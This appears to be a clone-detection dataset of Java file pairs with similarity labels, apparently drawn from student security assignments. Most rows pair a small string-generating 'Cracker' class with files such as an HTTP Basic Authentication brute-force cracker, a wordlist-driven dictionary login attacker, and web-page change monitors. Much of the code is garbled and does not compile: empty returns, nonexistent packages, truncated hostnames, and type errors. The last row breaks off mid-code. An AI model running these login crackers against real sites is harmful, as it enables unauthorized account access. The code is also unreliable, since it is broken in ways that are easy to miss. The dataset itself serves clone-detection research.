LoginAttempt login = new LoginAttempt();
LoginAttemptResults results = new LoginAttemptResults();
CasePasswords casedPasswords = new CasePasswords(verbose);
String tail = "";
results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
passwordsTried = results.getPasswordsTried();
return results.getSuccess();
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
229.java | 207.java | 0 |
import java.io.*;
import java.*;
import java.net.*;
import java.util.*;
public class WatchDog {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
try{
twentyfourhours = 86400000;
Timer timer = new Timer();
final Runtime rt = Runtime.getRuntime();
try{
Process wg1 = rt.exec("./.sh");
wg1.waitFor();
}
catch(InterruptedException e ){
System.err.println();
e.printStackTrace();
}
class RepeatTask extends TimerTask{
public void run(){
try{
Process wg2 = rt.exec("./task.sh");
wg2.waitFor();
FileReader fr = new FileReader("check.txt");
BufferedReader bufr = new BufferedReader(fr);
String check = bufr.readLine();
if(check.equals(".txt: FAILED")) {
Process difftosend = rt.exec("./diff.sh");
difftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
FileReader fr2 = new FileReader("imgdiffs.txt");
BufferedReader bufr2 = new BufferedReader(fr2);
String imdiff = bufr2.readLine();
if(imdiff != null){
Process imdifftosend = rt.exec("./img.sh");
imdifftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
}
catch(InterruptedException e){System.err.println();e.printStackTrace();}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
069.java | 207.java | 0 |
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;
public class BruteForce {
static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
private int indices[] = {0,0,0};
private String url = null;
public BruteForce(String url) {
this.url = url;
}
private int attempts = 0;
private boolean stopGen = false;
public String getNextPassword(){
String nextPassword = "";
for(int i = 0; i <indices.length ; i++){
if(indices[indices.length -1 ] == passwordDataSet.length)
return null;
if(indices[i] == passwordDataSet.length ){
indices[i] = 0;
indices[i+1]++;
}
nextPassword = passwordDataSet[indices[i]]+nextPassword;
if(i == 0)
indices[0]++;
}
return nextPassword;
}
public void setIndices(int size){
this.indices = new int[size];
for(int i = 0; i < size; i++)
this.indices[i] = 0;
}
public void setPasswordDataSet(String newDataSet){
this.passwordDataSet = newDataSet.toCharArray();
}
public String crackPassword(String user) throws IOException, MalformedURLException{
URL url = null;
URLConnection urlConnection = null;
String outcome = null;
String authorization = null;
String password = null;
BASE64Encoder b64enc = new BASE64Encoder();
InputStream content = null;
BufferedReader in = null;
String line;
int i = 0;
while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
url = new URL(this.url);
urlConnection = url.openConnection();
urlConnection.setDoInput(true);
urlConnection.setDoOutput(true);
urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
urlConnection.setRequestProperty("Host", url.getHost());
password = getNextPassword();
if(password == null)
return null;
System.out.print(password);
authorization = user + ":" + password;
urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));
outcome = urlConnection.getHeaderField(null);
this.attempts ++;
urlConnection = null;
url = null;
if(this.attempts%51 == 0)
for(int b = 0; b < 53;b++)
System.out.print("\b \b");
else
System.out.print("\b\b\b.");
}
return password;
}
public int getAttempts(){
return this.attempts;
}
public static void main (String[] args) {
if(args.length != 2){
System.out.println("usage: java attacks.BruteForce <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
System.exit(1);
}
BruteForce bruteForce1 = new BruteForce(args[0]);
try{
Calendar cal1=null, cal2=null;
cal1 = Calendar.getInstance();
System.out.println("Cracking started at: " + cal1.getTime().toString());
String password = bruteForce1.crackPassword(args[1]);
if(password != null)
System.out.println("\nPassword is: "+password);
else
System.out.println("\nPassword could not retrieved!");
cal2 = Calendar.getInstance();
System.out.println("Cracking finished at: " + cal2.getTime().toString());
Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");
System.out.println("Total attempts : " + bruteForce1.getAttempts());
}catch(MalformedURLException mue){
mue.printStackTrace();
}
catch(IOException ioe){
ioe.printStackTrace();
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
184.java | 207.java | 0 |
import java.util.Timer;
import java.util.TimerTask;
import java.net.*;
import java.io.*;
import javax.mail.*;
import javax.mail.internet.*;
import java.util.*;
public class WatchDog {
Timer timer;
public WatchDog() {
timer = new Timer();
timer.schedule(new WatchTask(),
0,
1*1000);
}
class WatchTask extends TimerTask {
public void run() {
try {
URL rmitUrl = new URL("http://www.cs.rmit.edu./students/");
URLConnection rmitConnection = rmitUrl.openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(
rmitConnection.getInputStream()));
String inputLine;
BufferedReader bufr = new BufferedReader(
new FileReader ("dest.txt"));
String outputLine;
while (((inputLine = in.readLine()) != null) && ((outputLine = bufr.readLine()) != null))
{
if (inputLine.compareTo(outputLine) != 0)
{
System.out.println(inputLine);
System.out.println(outputLine);
System.out.println("Sending Email Part...");
postMail("@cs.rmit.edu.", "Notice", inputLine, "@cs.rmit.edu.");
}
}
in.close();
bufr.close();
}
catch(Exception e){}
}
}
public static void main(String args[]) throws Exception{
System.out.println("About schedule task.");
URL phpUrl = new URL("http://www.cs.rmit.edu./students/");
URLConnection urlConnection = phpUrl.openConnection();
BufferedReader out = new BufferedReader(
new InputStreamReader(
urlConnection.getInputStream()));
String record;
PrintWriter pw = new PrintWriter (new
BufferedWriter (new FileWriter ("dest.txt")));
record = out.readLine();
while (record != null)
{
pw.println(record);
record = out.readLine();
}
pw.close();
for (int i = 0; i < 3600; i ++)
{
System.out.println("WatchDog running...");
new WatchDog();
}
System.out.println("Task scheduled.");
}
public void postMail( String recipients, String subject, String message , String from)
throws Exception
{
boolean debug = false;
Properties props = new Properties();
props.put("mail.smtp.host", "pwd..rmit.edu.");
Session session = Session.getDefaultInstance(props, null);
session.setDebug(debug);
Message msg = new MimeMessage(session);
InternetAddress addressFrom = new InternetAddress(from);
msg.setFrom(addressFrom);
InternetAddress addressTo = new InternetAddress();
addressTo = new InternetAddress(recipients);
msg.setRecipients(Message.RecipientType.NORMAL, addressTo);
msg.addHeader("MyHeaderName", "WebPage Changed Notice");
msg.setSubject(subject);
msg.setContent(message, "text/plain");
Transport.send(msg);
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
018.java | 207.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class ParsingImgLink
{
String url, imgLink, line;
public ParsingImgLink( String baseURL, String str )
{
url = baseURL;
line = str;
parsingLine();
}
public void parsingLine()
{
int end;
String imgURLStr = null;
if( ( url = line.indexOf("src=\"") ) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}
else if( ( end = line.indexOf("SRC=\"")) != -1 )
{
String subStr = line.substring(+5);
end = subStr.indexOf("\"");
imgURLStr = subStr.substring( 0, end );
System.out.println(imgURLStr);
}
if( imgURLStr.indexOf("://") == -1 )
{
try
{
URL baseURL = new URL( url );
URL imgURL = new URL( baseURL, imgURLStr );
imgLink = imgURL.toString();
}
catch( MalformedURLException mue )
{
String msg = "Unable parse URL !";
System.err.println( msg );
}
}
}
public String getImgLink()
{
return imgLink;
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
112.java | 207.java | 0 |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
145.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
String password = new String();
try {
password = dictionary.readLine();
while (password.length() > maxLetters) {
password = dictionary.readLine();
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
return password.toCharArray();
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java Dictionary url user dictionary");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
try {
dictionary = new BufferedReader(new FileReader(args[2]));
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
